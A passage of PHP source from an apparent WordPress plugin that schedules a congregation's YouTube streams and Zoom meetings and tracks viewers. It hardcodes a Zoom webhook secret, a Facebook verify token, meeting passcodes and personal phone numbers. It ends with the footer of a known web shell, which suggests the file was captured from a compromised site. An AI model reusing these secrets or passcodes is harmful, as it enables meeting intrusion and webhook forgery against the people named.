		list($current_level, $link) = $this->_GetVideoLink($current_event);
		if ($current_level > $level) {		// not permitted to view it on this page - suggest the new link

			return $this->ShowMessage('Authentication Required', "Live Streaming is currently running, however, it cannot be accessed from this page. If you have the appropriate password, please continue to the <a href=\"$link\">live event</a>.<br><br>");
		
		}
		
// allowed to access it: create youtube code

// https://www.youtube.com/watch?v=oQR2tTQO4BI

		if (preg_match('~v=(.*?)&~', $current_link, $match)) {
			$video_id = $match[1];
		} elseif (preg_match('~v=(.*?)$~', $current_link, $match)) {
			$video_id = $match[1];
		} elseif (preg_match('~youtu\.be/(.*?)$~', $current_link, $match)) {		// https://youtu.be/IZWxJ5p3GVU
			$video_id = $match[1];
		} elseif (preg_match('~youtube\.com/live/(.*?)$~', $current_link, $match)) {		// from 2022-12-14 https://youtube.com/live/An_FDJM0Dl0?feature=share
			$video_id = $match[1];
			if (($p = strpos($video_id, '?')) !== FALSE) $video_id = substr($video_id, 0, $p);
		} else {
			return $this->ShowMessage('Streaming Error', "Live Streaming is currently running, but there is a problem with the YouTube link for this event.  Please contact us!");
		}

		$width = isset($atts['width']) ? intval($atts['width']) : 0;
		$height = isset($atts['height']) ? intval($atts['height']) : 0;
		if (!$width) $width = 854;
		if (!$height) $height = 480;

// reload when streaming has finished
		$output = <<<BLOCK
<script type="text/javascript">
jQuery(document).ready(function() {
	jQuery.getJSON('{$this->adminurl}&status=1');
	setInterval(function() {
		jQuery.getJSON('{$this->adminurl}&status=1', function(data) {
			if (!data.live) window.location.reload();
		});
	}, 30 * 1000);
});
</script>

BLOCK;
		$watching = '';

		$x = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
		// if we are logged into wordpress, use the loggedin name, and continue to the video
		$user = wp_get_current_user();
		if ($user->ID) {
		
		} elseif (strpos($x, 'WordPress/') !== FALSE) {
//			WordPress/4.4.2; http://christadelphian.video
		} elseif (!isset($_COOKIE['watching']) || $this->request_change) {
			return $this->_register_for_video();
		} else {
			$watching = $this->GetWatchingName();
		}
		
		$output .= <<<BLOCK
<p><iframe src="//www.youtube.com/embed/$video_id?rel=0&amp;w=$width&amp;h=$height" height="$height" width="$width" frameborder="0" allowfullscreen></iframe></p>
{$watching}
<p>When operational, this live broadcast is delayed by about a minute. So if you wish communicate with the speaker, don't send a SMS, but instead use Zoom - it's real-time. <a href="mailto:phil@hopeinstoughton.org">Email</a> if you encounter any problems</p>

BLOCK;

		return $output;
	}

	private function DayOfWeek($day) {
		return 1 + gmdate('w', $day);
	}

	private function DaysInMonth($year, $month) {
		$day = gmmktime(0,0,0, $month, 15, $year);
		return gmdate('t', $day);
	}

	function DayOfMonth2Date($year, $month, $weekinmonth, $dayinweek) {
		if ($weekinmonth >= 1 && $weekinmonth <= 4) {
			$day = $this->DayOfWeek(gmmktime(0,0,0, $month, 1, $year));		// get first day in month
			$day = 1 + $dayinweek - $day;  									// get first dayInWeek in month
			if ($day <= 0) $day += 7;
			$day += 7 * ($weekinmonth-1);									// get weekInMonth-th dayInWeek in month
			return gmmktime(0,0,0, $month, $day, $year);
		} elseif ($weekinmonth == 5) {										// last week, calculate from end of month
			$days = $this->DaysInMonth($year,$month);
			$day  = $this->DayOfWeek(gmmktime(0,0,0, $month, $days, $year));	// get last day in month
			$day  = $days + ($dayinweek - $day);
			if ($day > $days) $day -= 7						;				// get last dayInWeek in month
			return gmmktime(0,0,0, $month, $day, $year);
		} else {
			return 0;
		}
	}

	function DSTDate2Date($dateinfo, $year) {
		if (!$dateinfo['mm']) {
			return 0;
		} elseif (!$dateinfo['yy']) {
			return $this->DayOfMonth2Date($year, $dateinfo['mm'], $dateinfo['dd'], $dateinfo['dow'] + 1) 
					+ ($dateinfo['hh'] * 3600 + $dateinfo['nn'] * 60);
		} elseif ($yy == $year) {
			return mktime($dateinfo['hh'], $dateinfo['nn'], 0, $dateinfo['mm'], $dateinfo['dd'], $dateinfo['yy'], 0);
		} else {
			return 0;
		}
	} 

	function GetTZinfo($systemtime, &$bias) {	// returns 1 if using DLS;  returned bias is in minutes
		list($d_std, $d_dls, $data) = $this->GetTimeZoneData($systemtime);
		
		if (!$d_std) {		// no daylight saving
			$dls = 0;
		} elseif ($d_std < $d_dls) { // southern hemisphere
			$dls = ($systemtime >= $d_dls || $systemtime < $d_std) ? 1 : 0;
		} else {
			$dls = ($systemtime >= $d_dls && $systemtime < $d_std) ? 1 : 0;
		}
		$bias = $data['bias'];
		if ($dls) $bias += $data['bias_dls'];
		$bias	*= 60;
		return $dls;
	}
	
	function GetTimeZoneData($systemtime) {
		$yy = intval(date('Y', $systemtime));
		$node = &$this->TIMEZONE;
		if (isset($node[$yy])) {
			$data = $node[$yy];
		} else {
			$data = $node[0];
		}
		$d_std = $this->DSTDate2Date($data['std'], $yy);
		$d_dls = $this->DSTDate2Date($data['dls'], $yy);
		return array($d_std, $d_dls, $data);
	}
	
	function TZInfoAsText($systemtime) {
		list($d_std, $d_dls, $data) = $this->GetTimeZoneData($systemtime);
		return 'Daylight Savings is from <b>' . gmdate('Y-m-d H:i', $d_dls) . '</b> to <b>'. gmdate('Y-m-d H:i', $d_std) . '</b>';
	}
	
	function updateStatus($name, $location, $ipaddress, $status) {
		global $wpdb;

		$types = array('%s', '%s', '%s', '%d', '%d');
		if ($name == '') $name = $ipaddress;
		$values = array(
			'co_username' => $name,
			'co_location' => $location,
			'co_ipaddress' => $ipaddress,
			'co_lastseen' => time(),
			'co_status' => $status,
		);

		$dname = "'" . esc_sql($name) . "'";
		$prior = $wpdb->get_row("select co_lastseen,co_status from cd_online where co_username=$dname");
		if ($prior == NULL) {		// New Record
			$result = $wpdb->insert('cd_online', $values, $types);
		} else {					// Update
			unset($values['co_username']);
			array_shift($types);
			$j = isset($prior->co_lastseen) ? $prior->co_lastseen : time() - 86400;
			if ($status && empty($prior->co_status) || ($j < time() - 7200)) {		// just changed from offline to online
				$values['co_firstseen'] = $values['co_lastseen'];
				$types[] = '%d';
			}
			$result = $wpdb->update('cd_online', $values, array('co_username' => $name), $types);
		}
	}
	
	function GetCurrentStatus() {
		global $wpdb;
		$cutoff = time() - 30 * 60;
		$online = $wpdb->get_results("select co_username,co_location,co_ipaddress,co_status,co_firstseen,co_lastseen from cd_online where co_lastseen>$cutoff order by co_username", ARRAY_A );
        
        $zoom = $wpdb->get_results("select cz_userid,cz_username,cz_timeon,cz_timeoff,cz_friendly from cd_zoom where (cz_timeoff = 0) or (cz_timeoff > $cutoff)", ARRAY_A );
        // add in zoom results
        foreach($zoom as $user) {
            $node = [
                'co_username' => empty($user['cz_friendly']) ? $user['cz_username'] : $user['cz_friendly'],
                'co_location' => '',
                'co_ipaddress' => 'Zoom',
                'co_status' => (int)$user['cz_timeoff'] ? 0 : 1,
                'co_firstseen' => $user['cz_timeon'],
                'co_lastseen' => $user['cz_timeoff'],
            ];
            if (empty($node['co_lastseen'])) $node['co_lastseen'] = time();
            $online[] = $node;
        }

        // sort again
		return $online;
	}
	
	// Is live streaming available?
	// have we heard from someone?
	function ajax_callback() {
		global $wpdb;

		$status = isset($_GET['status']) ? intval($_GET['status']) : 0;
		$result = array();
		if ($status == 9876543) {
			$result['online'] = $this->GetCurrentStatus();
			$result['time'] = time();
		} else {
			$hascookie = isset($_COOKIE['watching']);
			if ($hascookie) {
				list($name, $location) = explode('.', $_COOKIE['watching']);
				$name = substr(trim(base64_decode($name)), 0, 80);
				$location = substr(trim(base64_decode($location)), 0, 250);
				$this->updateStatus($name, $location, $_SERVER['REMOTE_ADDR'], $status);
			} else {	// unregistered waiting to be able to fill in form
				$user = wp_get_current_user();
				if ($user->ID > 0) {
					$name = $user->display_name;
					$this->updateStatus($name, '', $_SERVER['REMOTE_ADDR'], $status);
				} else {
					$this->updateStatus($_SERVER['REMOTE_ADDR'], '', $_SERVER['REMOTE_ADDR'], $status);
				}
			}
		}
		$current_link = trim(get_option( 'youtubeschedule-link', ''));
		$result['live'] = $current_link != '' ? 1 : 0;
        $zoomactive = intval(get_option( 'youtubeschedule-active', '0'));
        $result['zoom'] = $zoomactive;

		$result = json_encode($result);
		echo $result;
		exit;
	}
	
	function _zoom_handler($atts) {
		$level = isset($atts['level']) ? intval($atts['level']) : 0;
        $current_event = intval(get_option( 'youtubeschedule-event', ''));
        if ($current_event) {
			$current_date = intval(get_option( 'youtubeschedule-nextdate', '')) * 86400 + 43200;
			list($yy, $mm, $dd) = explode('-', gmdate('Y-m-d', $current_date));
            
			$current_time = intval(get_option( 'youtubeschedule-nexttime', ''));
			$hh = intval($current_time / 60);
			$nn = $current_time % 60;
			$exp = gmmktime($hh, $nn, 0, intval($mm, 10), intval($dd, 10), $yy);		// this is 9:30am UTC, not 9:30am Boston Time (EST/EDT)
            $efinish = gmdate('Y-m-d H:i', $exp + 2 * 3600);

            $now = time();
            $bias = 0;
            $dls = $this->GetTZinfo($now, $bias);
            $now -= $bias;
            $currentdate = gmdate('Y-m-d', $now);
            $caption = '';
            $footer = '';
           
            // if day is not streaming day - return nothing
/*            if (substr($efinish, 0, 10) != $currentdate) {
                //return "<!-- $efinish $currentdate $now $bias $dls -->";
                return '';
            } */
            
            // special event?
            if ($currentdate >= '2026-07-18' && $currentdate < '2026-07-25') {
                $caption = 'ECBS 2026';
                switch($level) {
                    case 0:
                        $link = '/members/live-video';
                        $footer = '';
                        break;
                        
                    case 1:
                        $pin = static::ZOOM_ECBS_PIN;
                        $meeting = static::ZOOM_ECBS_ID;
                        $link = static::ZOOM_ECBS_LINK;
                        $footer = <<<BLOCK
<p>Dial in to Zoom: <b>646 558 8656</b> (New York) or 438 809 7799 (Canada), Meeting ID: {$meeting}, Passcode: {$pin}</p>
BLOCK;
                }
            }
            
            if ($caption == '') {
                $dow = gmdate('N', $now); 
                switch($dow) {
                    case 3:     // Wednesday
                        $caption = 'Wednesday Night from 7:30pm';
                        switch($level) {
                            case 0:
                                $link = '/members/live-video';
                                $footer = '';
                                break;
                                
                            case 1:
                                $link = static::ZOOM_BC_LINK;
                                $footer = <<<BLOCK
<p>Dial in to Zoom: <b>646 558 8656</b> (New York) or 438 809 7799 (Canada), Meeting ID: 856 7686 8884, Passcode: 2311</p>
BLOCK;
                        }

                        break;

    /*				case 6:		// Saturday
                        $caption = 'Celebration of life: Janice Baines';
                        switch($level) {
                            case 0:
                                $link = '/members/live-video';
                                break;
                                
                            case 1:
                                $link = static::ZOOM_XTRA_LINK;
                                $footer = <<<BLOCK

    <p>Dial in to Zoom: <b>646 558 8656</b> (New York) or +1 438 809 7799 (Canada), Meeting ID: 872 8247 5532, Passcode: 276938</p>
    BLOCK;
                        }
                        break;
    */

                    case 7:     // Sunday
                        $caption = 'Sunday Morning from 9:30am';
                        switch($level) {
                            case 0:
                                $link = '/members/live-video';
                                break;
                                
                            case 1:
                                $link = static::ZOOM_SUN_LINK;
                                $id = static::ZOOM_SUN_ID;
                                $passcode = static::ZOOM_SUN_PIN;
                                $footer = <<<BLOCK
<p>Please use this <a href="$link" rel="nofollow" style="font-weight:bold">Zoom link</a> for the Sunday Morning Class if you wish to interact with the speaker. The YouTube link (above video) is delayed by about a minute.</p>
<p>Dial in to Zoom: <b>646 558 8656</b> (New York) or 438 809 7799 (Canada), Meeting ID: $id, Passcode: $passcode</p>
BLOCK;
                        }
    // <p>Please use this <a href="$link" rel="nofollow" style="font-weight:bold">Zoom link</a> for the Sunday Morning Class if you wish to interact with the speaker, or participate in the Breakout classes. The YouTube link (above video) is delayed by about a minute.</p>

                        break;
                }
            }
            if ($caption != '') {
                $icon = '<img src="/wp-content/plugins/youtube-schedule/zoomus-ar21.svg" style="height:70px !important; vertical-align:middle">';
//        <p>Join us via Zoom:</p>
                return <<<BLOCK
<div style="width:680px;margin:0px auto;">
    <div>
        <a href="$link" rel="nofollow">$icon<span style="font-size:30px;vertical-align:middle;padding-left:5px;color:#4a8cff">$caption</span></a>
$footer
        <p><b>Streaming Problems?</b> Please contact the A/V operator directly on <b>339-235-9838</b> (phone or text) instead of the hall phone.</p>
    </div>
</div>

BLOCK;
            }
        }
        return '';
    }
    
    public function __is_active($value) {
        $current_link = get_option( 'youtubeschedule-link', '');
        if ($current_link == '') {
            $value['active'] = 0;
        } else {
            $current_event = intval(get_option( 'youtubeschedule-event', ''));
            $current_level = isset($this->EVENTS[$current_event]) ? $this->EVENTS[$current_event][1] : 0;

            $user_level = apply_filters('get_member_level', 0);     // which password did we use?
            $value['active'] = $user_level >= $current_level ? 1 : 0;
            $value['link'] = $current_link;
            $value['desc'] = isset($this->EVENTS[$current_event]) ? $this->EVENTS[$current_event][0] : '';
        }
        return $value;
    }

    public function __is_active_zoom($value) {
        $active = intval(get_option( 'youtubeschedule-active', '0'));
        $value['active'] = $active;
        if ($active) {
            $value['id'] = get_option( 'youtubeschedule-zoom-id', '');
            if ($value['id'] == static::ZOOM_BC_ID) {
                $value['desc'] = 'Bible Class';
                $value['link'] = static::ZOOM_BC_LINK;
            } elseif ($value['id'] == static::ZOOM_SUN_ID) {
                $value['desc'] = 'Sunday Morning';
                $value['link'] = static::ZOOM_SUN_LINK;
            } elseif ($value['id'] == static::ZOOM_XTRA_ID) {
                $value['desc'] = 'Special Event';
                $value['link'] = static::ZOOM_XTRA_LINK;
            } elseif ($value['id'] == static::ZOOM_ECBS_ID) {
                $value['desc'] = 'ECBS';
                $value['link'] = static::ZOOM_ECBS_LINK;
            }
        }
        return $value;
    }

	// use the start-and-stop app at https://marketplace.zoom.us/user/build
    public function _zoom_event($post) {
        switch($post['event'] ?? '') {
			case 'endpoint.url_validation':
				$payload = $post['payload'];
				$plainToken = $payload['plainToken'];
				$secret = "3_RgGun-TXSBMY_bd3JT1g";
				$sig = hash_hmac('sha256', $plainToken, $secret);
				$result = [
					'plainToken' => $plainToken,
					'encryptedToken' => $sig,
				];
				header('Content-type: application/json');
				die(json_encode($result, JSON_UNESCAPED_SLASHES));
			
            case 'meeting.started':
                update_option( 'youtubeschedule-zoom-id', $post['payload']['object']['id']);
                update_option( 'youtubeschedule-active', '1');
                // clear out attendance
                break;

            case 'meeting.ended':
                // clear active.  It make take a few minutes for this event to arrive after the meeting has ended
                update_option( 'youtubeschedule-active', '0');
                break;
            
            case 'meeting.participant_joined':
                // add to attendance
                $info = $this->_zoom_participant($post['payload']['object'], 'join_time');
                $this->_zoom_save($info, 'cz_timeon');
                break;
            
            case 'meeting.participant_left':
                $info = $this->_zoom_participant($post['payload']['object'], 'leave_time');
                // remove from attendance
                $this->_zoom_save($info, 'cz_timeoff');
                break;
        }
/*      $fp = fopen('/phil/zoomzoom.txt', 'a');
        fwrite($fp, var_export($post, 1) . "\n\n");
        fclose($fp); */
    }

    // '2021-12-14T23:35:47Z
    private function _zoom_participant($object, $timefield) {
        $info = [
            'id'    => (int) $object['participant']['user_id'],
            'name'  => $object['participant']['user_name'],
            'time'  => strtotime(str_replace('T', ' ', $object['participant'][$timefield])),
            'meeting'  => $object['id'],
        ];
        return $info;
    }
    
    private function _facebook_event($post) {
        $challenge    = $_REQUEST['hub_challenge'];
        $verify_token = $_REQUEST['hub_verify_token'];
        $mode         = $_REQUEST['hub.mode'];              //=subscribe

        if ($verify_token == 'JPf>v}D?`8q!$4H<uXv7') {
            echo $challenge;
        }
//        $fp = fopen('/phil/fb.txt', 'a');
//        fwrite($fp, var_export($post, 1) . "\n\n");
//        fclose($fp);
    }
    
    private function _zoom_save($info, $targetfield) {
		global $wpdb;

		$types = [ '%d', '%s', '%s', '%s' ];
		$values = [
			'cz_userid'   => $info['id'],
			'cz_username' => $info['name'],
			$targetfield  => $info['time'],
			'cz_meeting'  => $info['meeting'],
		];
        if ($targetfield == 'cz_timeon') {
            $values['cz_timeoff'] = 0;
        }

		$prior = $wpdb->get_row("select cz_userid from cd_zoom where cz_userid={$info['id']}");
		if ($prior == NULL) {		// New Record
			$result = $wpdb->insert('cd_zoom', $values, $types);
		} else {					// Update
			unset($values['cz_userid']);
			array_shift($types);
			$result = $wpdb->update('cd_zoom', $values, ['cz_userid' => $info['id'] ], $types);
		}
    }
	
	private function _chatbot_getEventInfo($event) {
		global $wpdb;
		$date = $event->event_begin;
		$topic = $slug = $youtube = $speaker = '';
		$page = 1;
		$p = strpos($event->event_desc, ':');
		$speaker = trim(substr($event->event_desc, $p + 1));
		$sql = <<<BLOCK
select i.*, ms_firstname, ms_lastname, option_value
  from mm_item as i
    left join mm_speaker as s on mi_speaker=ms_id
	left join wp_options as o on option_name="youtubeschedule-link-wed"
where mi_date="$date"
  and mi_type="bc"
BLOCK;
//		echo "$sql\n";
		$row = $wpdb->get_row($sql);

// now get list of events (list of links)
		if (!is_null($row)) {
			$sql = <<<BLOCK
select e.*, mixe_event, mixe_sequence 
  from mm_item_x_event 
	left join mm_event as e on e.me_id=mixe_event
where mixe_item="{$row->mi_id}"
BLOCK;
			$rows = $wpdb->get_results($sql);
			$param = json_decode($row->mi_other, TRUE);
			$topic = $rows[0]->me_topic ?? '';
			$slug = $rows[0]->me_slug ?? '';
			$page = intval($rows[0]->mixe_sequence ?? '1');
			$youtube = $param['youtube'] ?? '';
			$speaker = trim($row->ms_firstname . ' ' . $row->ms_lastname);
		} else {
		}

		// class starts at 19:30
		$timezone = new DateTimeZone('America/New_York');
		$datetime = new DateTime("$date 19:30", $timezone);
		$dt = $datetime->getTimestamp();

		// if live link is the same as the active link - zap it
		return [
			'date'		=> $date,
			'dt'		=> $dt,
			'abbr'		=> $datetime->format('T'),
			'speaker'	=> $speaker,
			'live'		=> $row->option_value ?? '',		// live link to youtube
			'youtube'	=> $youtube,			// youtube edited video
			'slug'		=> $slug,
			'page'		=> $page,
			'topic'		=> $topic,
			'internal'	=> $row->mi_id ?? '',						// our internal version
		];
	}
	
	// return all the info required for the bot
	private function _chatbot_wed() {
		global $wpdb;
		$result = [
			'ct' => time(),
		];
		// determine date/time of last class from the calendar
		$today = date('Y-m-d');
		$sql = <<<BLOCK
select * 
  from wp_spiffy_calendar 
where event_begin<"$today" 
  and event_title="Bible Class"
order by event_begin desc 
limit 1

BLOCK;
		$event = $wpdb->get_row($sql);
		$result['prev'] = $this->_chatbot_getEventInfo($event);	//  get class info 
		
		$current_link = get_option( 'youtubeschedule-link', '');
		$dow = strtolower(date('D')); 
		if ($dow != 'wed') $current_link = '';
		
		if ($result['prev']['live'] == $current_link) {
			$result['prev']['live'] = '';
		} else {
			$result['youtube'] = $current_link;
		}

		$sql = <<<BLOCK
select * 
  from wp_spiffy_calendar 
where event_begin>="$today" 
  and event_title="Bible Class"
order by event_begin
limit 1

BLOCK;
		$event = $wpdb->get_row($sql);
		$info = $this->_chatbot_getEventInfo($event);

		if ($current_link != '') {
			// we are live
			$result['now'] = $info; 
		} else {
			$result['next'] = $info; 
			$result['next']['live'] = '';
		}
		return $result;
	}
	
	private function _chatbot_sun() {
		$data = [];
		//  last service
		$current_link = get_option( 'youtubeschedule-link', '');
		$stored_link = get_option( 'youtubeschedule-link-sun', '');

		//  youtubeschedule-link-sun  -- active youtube
		if ($current_link != '' && $current_link == $stored_link) {
			// current service - 
			$data['current'] =  $stored_link;
		} elseif ($stored_link != '') {
			$data['last'] =  $stored_link;
		}
		
		//  "/members/current"  page
		$current = get_option('media_current');
		$title = date('F j', $current['date']) . ': ' . $current['speaker'];
		$data['active'] = [
			'title' => $title,
			'date'  => gmdate('Y.m.d', $current['date']),		// filename
		];
		return $data;
	}

}

new scheduler_class();

Youez - 2016 - github.com/yon3zu
LinuXploit